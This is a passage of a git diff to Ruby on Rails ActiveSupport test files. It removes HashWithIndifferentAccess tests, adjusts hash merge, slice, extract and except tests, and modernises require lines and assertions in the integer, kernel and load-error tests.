-    assert_equal @strings, @strings.with_indifferent_access.dup.stringify_keys!
-    assert_equal @strings, @mixed.with_indifferent_access.dup.stringify_keys!
-  end
-
-  def test_deep_stringify_keys_bang_for_hash_with_indifferent_access
-    assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.dup.deep_stringify_keys!
-    assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_dup.deep_stringify_keys!
-    assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_dup.deep_stringify_keys!
-    assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_dup.deep_stringify_keys!
-  end
-
-  def test_nested_under_indifferent_access
-    foo = { "foo" => SubclassingHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
-    assert_kind_of ActiveSupport::HashWithIndifferentAccess, foo["foo"]
-
-    foo = { "foo" => NonIndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
-    assert_kind_of NonIndifferentHash, foo["foo"]
-
-    foo = { "foo" => IndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
-    assert_kind_of IndifferentHash, foo["foo"]
-  end
-
-  def test_indifferent_assorted
-    @strings = @strings.with_indifferent_access
-    @symbols = @symbols.with_indifferent_access
-    @mixed   = @mixed.with_indifferent_access
-
-    assert_equal "a", @strings.__send__(:convert_key, :a)
-
-    assert_equal 1, @strings.fetch("a")
-    assert_equal 1, @strings.fetch(:a.to_s)
-    assert_equal 1, @strings.fetch(:a)
-
-    hashes = { :@strings => @strings, :@symbols => @symbols, :@mixed => @mixed }
-    method_map = { '[]': 1, fetch: 1, values_at: [1],
-      has_key?: true, include?: true, key?: true,
-      member?: true }
-
-    hashes.each do |name, hash|
-      method_map.sort_by(&:to_s).each do |meth, expected|
-        assert_equal(expected, hash.__send__(meth, "a"),
-                     "Calling #{name}.#{meth} 'a'")
-        assert_equal(expected, hash.__send__(meth, :a),
-                     "Calling #{name}.#{meth} :a")
-      end
-    end
-
-    assert_equal [1, 2], @strings.values_at("a", "b")
-    assert_equal [1, 2], @strings.values_at(:a, :b)
-    assert_equal [1, 2], @symbols.values_at("a", "b")
-    assert_equal [1, 2], @symbols.values_at(:a, :b)
-    assert_equal [1, 2], @mixed.values_at("a", "b")
-    assert_equal [1, 2], @mixed.values_at(:a, :b)
-  end
-
-  def test_indifferent_reading
-    hash = HashWithIndifferentAccess.new
-    hash["a"] = 1
-    hash["b"] = true
-    hash["c"] = false
-    hash["d"] = nil
-
-    assert_equal 1, hash[:a]
-    assert_equal true, hash[:b]
-    assert_equal false, hash[:c]
-    assert_nil hash[:d]
-    assert_nil hash[:e]
-  end
-
-  def test_indifferent_reading_with_nonnil_default
-    hash = HashWithIndifferentAccess.new(1)
-    hash["a"] = 1
-    hash["b"] = true
-    hash["c"] = false
-    hash["d"] = nil
-
-    assert_equal 1, hash[:a]
-    assert_equal true, hash[:b]
-    assert_equal false, hash[:c]
-    assert_nil hash[:d]
-    assert_equal 1, hash[:e]
-  end
-
-  def test_indifferent_writing
-    hash = HashWithIndifferentAccess.new
-    hash[:a] = 1
-    hash["b"] = 2
-    hash[3] = 3
-
-    assert_equal 1, hash["a"]
-    assert_equal 2, hash["b"]
-    assert_equal 1, hash[:a]
-    assert_equal 2, hash[:b]
-    assert_equal 3, hash[3]
-  end
-
-  def test_indifferent_update
-    hash = HashWithIndifferentAccess.new
-    hash[:a] = "a"
-    hash["b"] = "b"
-
-    updated_with_strings = hash.update(@strings)
-    updated_with_symbols = hash.update(@symbols)
-    updated_with_mixed = hash.update(@mixed)
-
-    assert_equal 1, updated_with_strings[:a]
-    assert_equal 1, updated_with_strings["a"]
-    assert_equal 2, updated_with_strings["b"]
-
-    assert_equal 1, updated_with_symbols[:a]
-    assert_equal 2, updated_with_symbols["b"]
-    assert_equal 2, updated_with_symbols[:b]
-
-    assert_equal 1, updated_with_mixed[:a]
-    assert_equal 2, updated_with_mixed["b"]
-
-    assert [updated_with_strings, updated_with_symbols, updated_with_mixed].all? { |h| h.keys.size == 2 }
-  end
-
-  def test_update_with_to_hash_conversion
-    hash = HashWithIndifferentAccess.new
-    hash.update HashByConversion.new(a: 1)
-    assert_equal 1, hash["a"]
-  end
-
-  def test_indifferent_merging
-    hash = HashWithIndifferentAccess.new
-    hash[:a] = "failure"
-    hash["b"] = "failure"
-
-    other = { "a" => 1, :b => 2 }
-
-    merged = hash.merge(other)
-
-    assert_equal HashWithIndifferentAccess, merged.class
-    assert_equal 1, merged[:a]
-    assert_equal 2, merged["b"]
-
-    hash.update(other)
-
-    assert_equal 1, hash[:a]
-    assert_equal 2, hash["b"]
-  end
-
-  def test_merge_with_to_hash_conversion
-    hash = HashWithIndifferentAccess.new
-    merged = hash.merge HashByConversion.new(a: 1)
-    assert_equal 1, merged["a"]
-  end
-
-  def test_indifferent_replace
-    hash = HashWithIndifferentAccess.new
-    hash[:a] = 42
-
-    replaced = hash.replace(b: 12)
-
-    assert hash.key?("b")
-    assert !hash.key?(:a)
-    assert_equal 12, hash[:b]
-    assert_same hash, replaced
-  end
-
-  def test_replace_with_to_hash_conversion
-    hash = HashWithIndifferentAccess.new
-    hash[:a] = 42
-
-    replaced = hash.replace(HashByConversion.new(b: 12))
-
-    assert hash.key?("b")
-    assert !hash.key?(:a)
-    assert_equal 12, hash[:b]
-    assert_same hash, replaced
-  end
-
-  def test_indifferent_merging_with_block
-    hash = HashWithIndifferentAccess.new
-    hash[:a] = 1
-    hash["b"] = 3
-
-    other = { "a" => 4, :b => 2, "c" => 10 }
-
-    merged = hash.merge(other) { |key, old, new| old > new ? old : new }
-
-    assert_equal HashWithIndifferentAccess, merged.class
-    assert_equal 4, merged[:a]
-    assert_equal 3, merged["b"]
-    assert_equal 10, merged[:c]
-
-    other_indifferent = HashWithIndifferentAccess.new("a" => 9, :b => 2)
-
-    merged = hash.merge(other_indifferent) { |key, old, new| old + new }
-
-    assert_equal HashWithIndifferentAccess, merged.class
-    assert_equal 10, merged[:a]
-    assert_equal 5, merged[:b]
-  end
-
-  def test_indifferent_reverse_merging
-    hash = HashWithIndifferentAccess.new key: :old_value
-    hash.reverse_merge! key: :new_value
-    assert_equal :old_value, hash[:key]
-
-    hash = HashWithIndifferentAccess.new("some" => "value", "other" => "value")
-    hash.reverse_merge!(some: "noclobber", another: "clobber")
-    assert_equal "value", hash[:some]
-    assert_equal "clobber", hash[:another]
-  end
-
-  def test_indifferent_deleting
-    get_hash = proc { { a: "foo" }.with_indifferent_access }
-    hash = get_hash.call
-    assert_equal "foo", hash.delete(:a)
-    assert_nil hash.delete(:a)
-    hash = get_hash.call
-    assert_equal "foo", hash.delete("a")
-    assert_nil hash.delete("a")
-  end
-
-  def test_indifferent_select
-    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select { |k, v| v == 1 }
-
-    assert_equal({ "a" => 1 }, hash)
-    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
-  end
-
-  def test_indifferent_select_returns_enumerator
-    enum = ActiveSupport::HashWithIndifferentAccess.new(@strings).select
-    assert_instance_of Enumerator, enum
-  end
-
-  def test_indifferent_select_returns_a_hash_when_unchanged
-    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select { |k, v| true }
-
-    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
-  end
-
-  def test_indifferent_select_bang
-    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
-    indifferent_strings.select! { |k, v| v == 1 }
-
-    assert_equal({ "a" => 1 }, indifferent_strings)
-    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
-  end
-
-  def test_indifferent_reject
-    hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).reject { |k, v| v != 1 }
-
-    assert_equal({ "a" => 1 }, hash)
-    assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash
-  end
-
-  def test_indifferent_reject_returns_enumerator
-    enum = ActiveSupport::HashWithIndifferentAccess.new(@strings).reject
-    assert_instance_of Enumerator, enum
-  end
-
-  def test_indifferent_reject_bang
-    indifferent_strings = ActiveSupport::HashWithIndifferentAccess.new(@strings)
-    indifferent_strings.reject! { |k, v| v != 1 }
-
-    assert_equal({ "a" => 1 }, indifferent_strings)
-    assert_instance_of ActiveSupport::HashWithIndifferentAccess, indifferent_strings
-  end
-
-  def test_indifferent_compact
-    hash_contain_nil_value = @strings.merge("z" => nil)
-    hash = ActiveSupport::HashWithIndifferentAccess.new(hash_contain_nil_value)
-    compacted_hash = hash.compact
-
-    assert_equal(@strings, compacted_hash)
-    assert_equal(hash_contain_nil_value, hash)
-    assert_instance_of ActiveSupport::HashWithIndifferentAccess, compacted_hash
-  end
-
-  def test_indifferent_to_hash
-    # Should convert to a Hash with String keys.
-    assert_equal @strings, @mixed.with_indifferent_access.to_hash
-
-    # Should preserve the default value.
-    mixed_with_default = @mixed.dup
-    mixed_with_default.default = "1234"
-    roundtrip = mixed_with_default.with_indifferent_access.to_hash
-    assert_equal @strings, roundtrip
-    assert_equal "1234", roundtrip.default
-
-    # Ensure nested hashes are not HashWithIndiffereneAccess
-    new_to_hash = @nested_mixed.with_indifferent_access.to_hash
-    assert_not new_to_hash.instance_of?(HashWithIndifferentAccess)
-    assert_not new_to_hash["a"].instance_of?(HashWithIndifferentAccess)
-    assert_not new_to_hash["a"]["b"].instance_of?(HashWithIndifferentAccess)
-  end
-
-  def test_lookup_returns_the_same_object_that_is_stored_in_hash_indifferent_access
-    hash = HashWithIndifferentAccess.new { |h, k| h[k] = [] }
-    hash[:a] << 1
-
-    assert_equal [1], hash[:a]
-  end
-
-  def test_with_indifferent_access_has_no_side_effects_on_existing_hash
-    hash = { content: [{ :foo => :bar, "bar" => "baz" }] }
-    hash.with_indifferent_access
-
-    assert_equal [:foo, "bar"], hash[:content].first.keys
-  end
-
-  def test_indifferent_hash_with_array_of_hashes
-    hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] } }.with_indifferent_access
-    assert_equal "1", hash[:urls][:url].first[:address]
-
-    hash = hash.to_hash
-    assert_not hash.instance_of?(HashWithIndifferentAccess)
-    assert_not hash["urls"].instance_of?(HashWithIndifferentAccess)
-    assert_not hash["urls"]["url"].first.instance_of?(HashWithIndifferentAccess)
-  end
-
-  def test_should_preserve_array_subclass_when_value_is_array
-    array = SubclassingArray.new
-    array << { "address" => "1" }
-    hash = { "urls" => { "url" => array } }.with_indifferent_access
-    assert_equal SubclassingArray, hash[:urls][:url].class
-  end
-
-  def test_should_preserve_array_class_when_hash_value_is_frozen_array
-    array = SubclassingArray.new
-    array << { "address" => "1" }
-    hash = { "urls" => { "url" => array.freeze } }.with_indifferent_access
-    assert_equal SubclassingArray, hash[:urls][:url].class
-  end
-
-  def test_stringify_and_symbolize_keys_on_indifferent_preserves_hash
-    h = HashWithIndifferentAccess.new
-    h[:first] = 1
-    h = h.stringify_keys
-    assert_equal 1, h["first"]
-    h = HashWithIndifferentAccess.new
-    h["first"] = 1
-    h = h.symbolize_keys
-    assert_equal 1, h[:first]
-  end
-
-  def test_deep_stringify_and_deep_symbolize_keys_on_indifferent_preserves_hash
-    h = HashWithIndifferentAccess.new
-    h[:first] = 1
-    h = h.deep_stringify_keys
-    assert_equal 1, h["first"]
-    h = HashWithIndifferentAccess.new
-    h["first"] = 1
-    h = h.deep_symbolize_keys
-    assert_equal 1, h[:first]
-  end
-
-  def test_to_options_on_indifferent_preserves_hash
-    h = HashWithIndifferentAccess.new
-    h["first"] = 1
-    h.to_options!
-    assert_equal 1, h["first"]
-  end
-
-  def test_to_options_on_indifferent_preserves_works_as_hash_with_dup
-    h = HashWithIndifferentAccess.new(a: { b: "b" })
-    dup = h.dup
-
-    dup[:a][:c] = "c"
-    assert_equal "c", h[:a][:c]
-  end
-
-  def test_indifferent_sub_hashes
-    h = { "user" => { "id" => 5 } }.with_indifferent_access
-    ["user", :user].each { |user| [:id, "id"].each { |id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5" } }
-
-    h = { user: { id: 5 } }.with_indifferent_access
-    ["user", :user].each { |user| [:id, "id"].each { |id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5" } }
-  end
-
-  def test_indifferent_duplication
-    # Should preserve default value
-    h = HashWithIndifferentAccess.new
-    h.default = "1234"
-    assert_equal h.default, h.dup.default
-
-    # Should preserve class for subclasses
-    h = IndifferentHash.new
-    assert_equal h.class, h.dup.class
-  end
-
-  def test_nested_dig_indifferent_access
-    skip if RUBY_VERSION < "2.3.0"
-    data = { "this" => { "views" => 1234 } }.with_indifferent_access
-    assert_equal 1234, data.dig(:this, :views)
-  end
-
   def test_assert_valid_keys
     assert_nothing_raised do
       { failure: "stuff", funny: "business" }.assert_valid_keys([ :failure, :funny ])
@@ -749,12 +269,6 @@ def test_assert_valid_keys
     assert_equal "Unknown key: :failore. Valid keys are: :failure", exception.message
   end
 
-  def test_assorted_keys_not_stringified
-    original = { Object.new => 2, 1 => 2, [] => true }
-    indiff = original.with_indifferent_access
-    assert(!indiff.keys.any? { |k| k.kind_of? String }, "A key was converted to a string!")
-  end
-
   def test_deep_merge
     hash_1 = { a: "a", b: "b", c: { c1: "c1", c2: "c2", c3: { d1: "d1" } } }
     hash_2 = { a: 1, c: { c1: 2, c3: { d2: "d2" } } }
@@ -785,41 +299,10 @@ def test_deep_merge_with_falsey_values
     assert_equal expected, hash_1
   end
 
-  def test_deep_merge_on_indifferent_access
-    hash_1 = HashWithIndifferentAccess.new(a: "a", b: "b", c: { c1: "c1", c2: "c2", c3: { d1: "d1" } })
-    hash_2 = HashWithIndifferentAccess.new(a: 1, c: { c1: 2, c3: { d2: "d2" } })
-    hash_3 = { a: 1, c: { c1: 2, c3: { d2: "d2" } } }
-    expected = { "a" => 1, "b" => "b", "c" => { "c1" => 2, "c2" => "c2", "c3" => { "d1" => "d1", "d2" => "d2" } } }
-    assert_equal expected, hash_1.deep_merge(hash_2)
-    assert_equal expected, hash_1.deep_merge(hash_3)
-
-    hash_1.deep_merge!(hash_2)
-    assert_equal expected, hash_1
-  end
-
-  def test_store_on_indifferent_access
-    hash = HashWithIndifferentAccess.new
-    hash.store(:test1, 1)
-    hash.store("test1", 11)
-    hash[:test2] = 2
-    hash["test2"] = 22
-    expected = { "test1" => 11, "test2" => 22 }
-    assert_equal expected, hash
-  end
-
-  def test_constructor_on_indifferent_access
-    hash = HashWithIndifferentAccess[:foo, 1]
-    assert_equal 1, hash[:foo]
-    assert_equal 1, hash["foo"]
-    hash[:foo] = 3
-    assert_equal 3, hash[:foo]
-    assert_equal 3, hash["foo"]
-  end
-
   def test_reverse_merge
-    defaults = { a: "x", b: "y", c: 10 }.freeze
+    defaults = { d: 0, a: "x", b: "y", c: 10 }.freeze
     options  = { a: 1, b: 2 }
-    expected = { a: 1, b: 2, c: 10 }
+    expected = { d: 0, a: 1, b: 2, c: 10 }
 
     # Should merge defaults into options, creating a new hash.
     assert_equal expected, options.reverse_merge(defaults)
@@ -830,36 +313,40 @@ def test_reverse_merge
     assert_equal expected, merged.reverse_merge!(defaults)
     assert_equal expected, merged
 
+    # Make the order consistent with the non-overwriting reverse merge.
+    assert_equal expected.keys, merged.keys
+
     # Should be an alias for reverse_merge!
     merged = options.dup
     assert_equal expected, merged.reverse_update(defaults)
     assert_equal expected, merged
   end
 
-  def test_slice
-    original = { a: "x", b: "y", c: 10 }
-    expected = { a: "x", b: "y" }
+  def test_with_defaults_aliases_reverse_merge
+    defaults = { a: "x", b: "y", c: 10 }.freeze
+    options  = { a: 1, b: 2 }
+    expected = { a: 1, b: 2, c: 10 }
 
-    # Should return a new hash with only the given keys.
-    assert_equal expected, original.slice(:a, :b)
-    assert_not_equal expected, original
+    # Should be an alias for reverse_merge
+    assert_equal expected, options.with_defaults(defaults)
+    assert_not_equal expected, options
+
+    # Should be an alias for reverse_merge!
+    merged = options.dup
+    assert_equal expected, merged.with_defaults!(defaults)
+    assert_equal expected, merged
   end
 
   def test_slice_inplace
     original = { a: "x", b: "y", c: 10 }
-    expected = { c: 10 }
-
-    # Should replace the hash with only the given keys.
-    assert_equal expected, original.slice!(:a, :b)
-  end
+    expected_return = { c: 10 }
+    expected_original = { a: "x", b: "y" }
 
-  def test_slice_with_an_array_key
-    original = { :a => "x", :b => "y", :c => 10, [:a, :b] => "an array key" }
-    expected = { [:a, :b] => "an array key", :c => 10 }
+    # Should return a hash containing the removed key/value pairs.
+    assert_equal expected_return, original.slice!(:a, :b)
 
-    # Should return a new hash with only the given keys when given an array key.
-    assert_equal expected, original.slice([:a, :b], :c)
-    assert_not_equal expected, original
+    # Should replace the hash with only the given keys.
+    assert_equal expected_original, original
   end
 
   def test_slice_inplace_with_an_array_key
@@ -870,46 +357,6 @@ def test_slice_inplace_with_an_array_key
     assert_equal expected, original.slice!([:a, :b], :c)
   end
 
-  def test_slice_with_splatted_keys
-    original = { :a => "x", :b => "y", :c => 10, [:a, :b] => "an array key" }
-    expected = { a: "x", b: "y" }
-
-    # Should grab each of the splatted keys.
-    assert_equal expected, original.slice(*[:a, :b])
-  end
-
-  def test_indifferent_slice
-    original = { a: "x", b: "y", c: 10 }.with_indifferent_access
-    expected = { a: "x", b: "y" }.with_indifferent_access
-
-    [["a", "b"], [:a, :b]].each do |keys|
-      # Should return a new hash with only the given keys.
-      assert_equal expected, original.slice(*keys), keys.inspect
-      assert_not_equal expected, original
-    end
-  end
-
-  def test_indifferent_slice_inplace
-    original = { a: "x", b: "y", c: 10 }.with_indifferent_access
-    expected = { c: 10 }.with_indifferent_access
-
-    [["a", "b"], [:a, :b]].each do |keys|
-      # Should replace the hash with only the given keys.
-      copy = original.dup
-      assert_equal expected, copy.slice!(*keys)
-    end
-  end
-
-  def test_indifferent_slice_access_with_symbols
-    original = { "login" => "bender", "password" => "shiny", "stuff" => "foo" }
-    original = original.with_indifferent_access
-
-    slice = original.slice(:login, :password)
-
-    assert_equal "bender", slice[:login]
-    assert_equal "bender", slice["login"]
-  end
-
   def test_slice_bang_does_not_override_default
     hash = Hash.new(0)
     hash.update(a: 1, b: 2)
@@ -940,33 +387,19 @@ def test_extract
   def test_extract_nils
     original = { a: nil, b: nil }
     expected = { a: nil }
+    remaining = { b: nil }
     extracted = original.extract!(:a, :x)
 
     assert_equal expected, extracted
     assert_nil extracted[:a]
     assert_nil extracted[:x]
-  end
-
-  def test_indifferent_extract
-    original = { :a => 1, "b" => 2, :c => 3, "d" => 4 }.with_indifferent_access
-    expected = { a: 1, b: 2 }.with_indifferent_access
-    remaining = { c: 3, d: 4 }.with_indifferent_access
-
-    [["a", "b"], [:a, :b]].each do |keys|
-      copy = original.dup
-      assert_equal expected, copy.extract!(*keys)
-      assert_equal remaining, copy
-    end
+    assert_equal remaining, original
   end
 
   def test_except
     original = { a: "x", b: "y", c: 10 }
     expected = { a: "x", b: "y" }
 
-    # Should return a new hash without the given keys.
-    assert_equal expected, original.except(:c)
-    assert_not_equal expected, original
-
     # Should replace the hash without the given keys.
     assert_equal expected, original.except!(:c)
     assert_equal expected, original
@@ -976,8 +409,6 @@ def test_except_with_more_than_one_argument
     original = { a: "x", b: "y", c: 10 }
     expected = { a: "x" }
 
-    assert_equal expected, original.except(:b, :c)
-
     assert_equal expected, original.except!(:b, :c)
     assert_equal expected, original
   end
@@ -985,98 +416,7 @@ def test_except_with_more_than_one_argument
   def test_except_with_original_frozen
     original = { a: "x", b: "y" }
     original.freeze
-    assert_nothing_raised { original.except(:a) }
-
-    assert_raise(RuntimeError) { original.except!(:a) }
-  end
-
-  def test_except_does_not_delete_values_in_original
-    original = { a: "x", b: "y" }
-    assert_not_called(original, :delete) do
-      original.except(:a)
-    end
-  end
-
-  def test_compact
-    hash_contain_nil_value = @symbols.merge(z: nil)
-    hash_with_only_nil_values = { a: nil, b: nil }
-
-    h = hash_contain_nil_value.dup
-    assert_equal(@symbols, h.compact)
-    assert_equal(hash_contain_nil_value, h)
-
-    h = hash_with_only_nil_values.dup
-    assert_equal({}, h.compact)
-    assert_equal(hash_with_only_nil_values, h)
-
-    h = @symbols.dup
-    assert_equal(@symbols, h.compact)
-    assert_equal(@symbols, h)
-  end
-
-  def test_compact!
-    hash_contain_nil_value = @symbols.merge(z: nil)
-    hash_with_only_nil_values = { a: nil, b: nil }
-
-    h = hash_contain_nil_value.dup
-    assert_equal(@symbols, h.compact!)
-    assert_equal(@symbols, h)
-
-    h = hash_with_only_nil_values.dup
-    assert_equal({}, h.compact!)
-    assert_equal({}, h)
-
-    h = @symbols.dup
-    assert_nil(h.compact!)
-    assert_equal(@symbols, h)
-  end
-
-  def test_new_with_to_hash_conversion
-    hash = HashWithIndifferentAccess.new(HashByConversion.new(a: 1))
-    assert hash.key?("a")
-    assert_equal 1, hash[:a]
-  end
-
-  def test_dup_with_default_proc
-    hash = HashWithIndifferentAccess.new
-    hash.default_proc = proc { |h, v| raise "walrus" }
-    assert_nothing_raised { hash.dup }
-  end
-
-  def test_dup_with_default_proc_sets_proc
-    hash = HashWithIndifferentAccess.new
-    hash.default_proc = proc { |h, k| k + 1 }
-    new_hash = hash.dup
-
-    assert_equal 3, new_hash[2]
-
-    new_hash.default = 2
-    assert_equal 2, new_hash[:non_existent]
-  end
-
-  def test_to_hash_with_raising_default_proc
-    hash = HashWithIndifferentAccess.new
-    hash.default_proc = proc { |h, k| raise "walrus" }
-
-    assert_nothing_raised { hash.to_hash }
-  end
-
-  def test_new_with_to_hash_conversion_copies_default
-    normal_hash = Hash.new(3)
-    normal_hash[:a] = 1
-
-    hash = HashWithIndifferentAccess.new(HashByConversion.new(normal_hash))
-    assert_equal 1, hash[:a]
-    assert_equal 3, hash[:b]
-  end
-
-  def test_new_with_to_hash_conversion_copies_default_proc
-    normal_hash = Hash.new { 1 + 2 }
-    normal_hash[:a] = 1
-
-    hash = HashWithIndifferentAccess.new(HashByConversion.new(normal_hash))
-    assert_equal 1, hash[:a]
-    assert_equal 3, hash[:b]
+    assert_raise(FrozenError) { original.except!(:a) }
   end
 end
 
@@ -1228,15 +568,6 @@ def test_three_levels_with_array
     assert_includes xml, %(<addresses type="array"><address><streets type="array"><street><name>)
   end
 
-  def test_timezoned_attributes
-    xml = {
-      created_at: Time.utc(1999, 2, 2),
-      local_created_at: Time.utc(1999, 2, 2).in_time_zone("Eastern Time (US & Canada)")
-    }.to_xml(@xml_options)
-    assert_match %r{<created-at type=\"dateTime\">1999-02-02T00:00:00Z</created-at>}, xml
-    assert_match %r{<local-created-at type=\"dateTime\">1999-02-01T19:00:00-05:00</local-created-at>}, xml
-  end
-
   def test_multiple_records_from_xml_with_attributes_other_than_type_ignores_them_without_exploding
     topics_xml = <<-EOT
       <topics type="array" page="1" page-count="1000" per-page="2">
@@ -1598,61 +929,6 @@ def test_from_trusted_xml_allows_symbol_and_yaml_types
     assert_equal expected, Hash.from_trusted_xml('<product><name type="yaml">:value</name></product>')
   end
 
-  def test_should_use_default_proc_for_unknown_key
-    hash_wia = HashWithIndifferentAccess.new { 1 + 2 }
-    assert_equal 3, hash_wia[:new_key]
-  end
-
-  def test_should_return_nil_if_no_key_is_supplied
-    hash_wia = HashWithIndifferentAccess.new { 1 + 2 }
-    assert_nil hash_wia.default
-  end
-
-  def test_should_use_default_value_for_unknown_key
-    hash_wia = HashWithIndifferentAccess.new(3)
-    assert_equal 3, hash_wia[:new_key]
-  end
-
-  def test_should_use_default_value_if_no_key_is_supplied
-    hash_wia = HashWithIndifferentAccess.new(3)
-    assert_equal 3, hash_wia.default
-  end
-
-  def test_should_nil_if_no_default_value_is_supplied
-    hash_wia = HashWithIndifferentAccess.new
-    assert_nil hash_wia.default
-  end
-
-  def test_should_return_dup_for_with_indifferent_access
-    hash_wia = HashWithIndifferentAccess.new
-    assert_equal hash_wia, hash_wia.with_indifferent_access
-    assert_not_same hash_wia, hash_wia.with_indifferent_access
-  end
-
-  def test_allows_setting_frozen_array_values_with_indifferent_access
-    value = [1, 2, 3].freeze
-    hash = HashWithIndifferentAccess.new
-    hash[:key] = value
-    assert_equal hash[:key], value
-  end
-
-  def test_should_copy_the_default_value_when_converting_to_hash_with_indifferent_access
-    hash = Hash.new(3)
-    hash_wia = hash.with_indifferent_access
-    assert_equal 3, hash_wia.default
-  end
-
-  def test_should_copy_the_default_proc_when_converting_to_hash_with_indifferent_access
-    hash = Hash.new do
-      2 + 1
-    end
-    assert_equal 3, hash[:foo]
-
-    hash_wia = hash.with_indifferent_access
-    assert_equal 3, hash_wia[:foo]
-    assert_equal 3, hash_wia[:bar]
-  end
-
   # The XML builder seems to fail miserably when trying to tag something
   # with the same name as a Kernel method (throw, test, loop, select ...)
   def test_kernel_method_names_to_xml
@@ -1705,7 +981,7 @@ def test_datetime_xml_type_with_utc_time
       </alert>
     XML
     alert_at = Hash.from_xml(alert_xml)["alert"]["alert_at"]
-    assert alert_at.utc?
+    assert_predicate alert_at, :utc?
     assert_equal Time.utc(2008, 2, 10, 15, 30, 45), alert_at
   end
 
@@ -1716,7 +992,7 @@ def test_datetime_xml_type_with_non_utc_time
       </alert>
     XML
     alert_at = Hash.from_xml(alert_xml)["alert"]["alert_at"]
-    assert alert_at.utc?
+    assert_predicate alert_at, :utc?
     assert_equal Time.utc(2008, 2, 10, 15, 30, 45), alert_at
   end
 
@@ -1727,7 +1003,7 @@ def test_datetime_xml_type_with_far_future_date
       </alert>
     XML
     alert_at = Hash.from_xml(alert_xml)["alert"]["alert_at"]
-    assert alert_at.utc?
+    assert_predicate alert_at, :utc?
     assert_equal 2050,  alert_at.year
     assert_equal 2,     alert_at.month
     assert_equal 10,    alert_at.day
diff --git a/activesupport/test/core_ext/integer_ext_test.rb b/activesupport/test/core_ext/integer_ext_test.rb
index 137e8ce85f758..bb82c10936c48 100644
--- a/activesupport/test/core_ext/integer_ext_test.rb
+++ b/activesupport/test/core_ext/integer_ext_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/core_ext/integer"
 
 class IntegerExtTest < ActiveSupport::TestCase
@@ -6,14 +8,14 @@ class IntegerExtTest < ActiveSupport::TestCase
 
   def test_multiple_of
     [ -7, 0, 7, 14 ].each { |i| assert i.multiple_of?(7) }
-    [ -7, 7, 14 ].each { |i| assert ! i.multiple_of?(6) }
+    [ -7, 7, 14 ].each { |i| assert_not i.multiple_of?(6) }
 
     # test the 0 edge case
     assert 0.multiple_of?(0)
-    assert !5.multiple_of?(0)
+    assert_not 5.multiple_of?(0)
 
     # test with a prime
-    [2, 3, 5, 7].each { |i| assert !PRIME.multiple_of?(i) }
+    [2, 3, 5, 7].each { |i| assert_not PRIME.multiple_of?(i) }
   end
 
   def test_ordinalize
diff --git a/activesupport/test/core_ext/kernel/concern_test.rb b/activesupport/test/core_ext/kernel/concern_test.rb
index e7e4f99d7e642..9730a74b4a550 100644
--- a/activesupport/test/core_ext/kernel/concern_test.rb
+++ b/activesupport/test/core_ext/kernel/concern_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/kernel/concern"
 
 class KernelConcernTest < ActiveSupport::TestCase
diff --git a/activesupport/test/core_ext/kernel_test.rb b/activesupport/test/core_ext/kernel_test.rb
index 26f5088ede593..861a6def52847 100644
--- a/activesupport/test/core_ext/kernel_test.rb
+++ b/activesupport/test/core_ext/kernel_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/core_ext/kernel"
 
 class KernelTest < ActiveSupport::TestCase
@@ -43,9 +45,11 @@ def test_reraise
   end
 
   def test_suppression
-    suppress(ArgumentError) { raise ArgumentError }
-    suppress(LoadError) { raise LoadError }
-    suppress(LoadError, ArgumentError) { raise LoadError }
-    suppress(LoadError, ArgumentError) { raise ArgumentError }
+    assert_nothing_raised do
+      suppress(ArgumentError) { raise ArgumentError }
+      suppress(LoadError) { raise LoadError }
+      suppress(LoadError, ArgumentError) { raise LoadError }
+      suppress(LoadError, ArgumentError) { raise ArgumentError }
+    end
   end
 end
diff --git a/activesupport/test/core_ext/load_error_test.rb b/activesupport/test/core_ext/load_error_test.rb
index 44ff6bb051acd..ad3e0749fc19f 100644
--- a/activesupport/test/core_ext/load_error_test.rb
+++ b/activesupport/test/core_ext/load_error_test.rb
@@ -1,17 +1,25 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/core_ext/load_error"
 
 class TestLoadError < ActiveSupport::TestCase
   def test_with_require
-    assert_raise(LoadError) { require 'no_this_file_don\'t_exist' }
+    assert_raise(LoadError) { require "no_this_file_don't_exist" }
   end
+
   def test_with_load
     assert_raise(LoadError) { load "nor_does_this_one" }
   end
+
   def test_path
-    begin load "nor/this/one.rb"
-    rescue LoadError => e
-      assert_equal "nor/this/one.rb", e.path
-    end
+    load "nor/this/one.rb"
+  rescue LoadError => e
+    assert_equal "nor/this/one.rb", e.path
+  end
+
+  def test_is_missing_with_nil_path
+    error = LoadError.new(nil)
+    assert_nothing_raised { error.is_missing?("anything") }
   end
 end
diff --git a/activesupport/test/core_ext/marshal_test.rb b/activesupport/test/core_ext/marshal_test.rb
deleted file mode 100644
index a899f98705dca..0000000000000
--- a/activesupport/test/core_ext/marshal_test.rb
+++ /dev/null
@@ -1,150 +0,0 @@
-require "abstract_unit"
-require "active_support/core_ext/marshal"
-require "dependencies_test_helpers"
-
-class MarshalTest < ActiveSupport::TestCase
-  include ActiveSupport::Testing::Isolation
-  include DependenciesTestHelpers
-
-  def teardown
-    ActiveSupport::Dependencies.clear
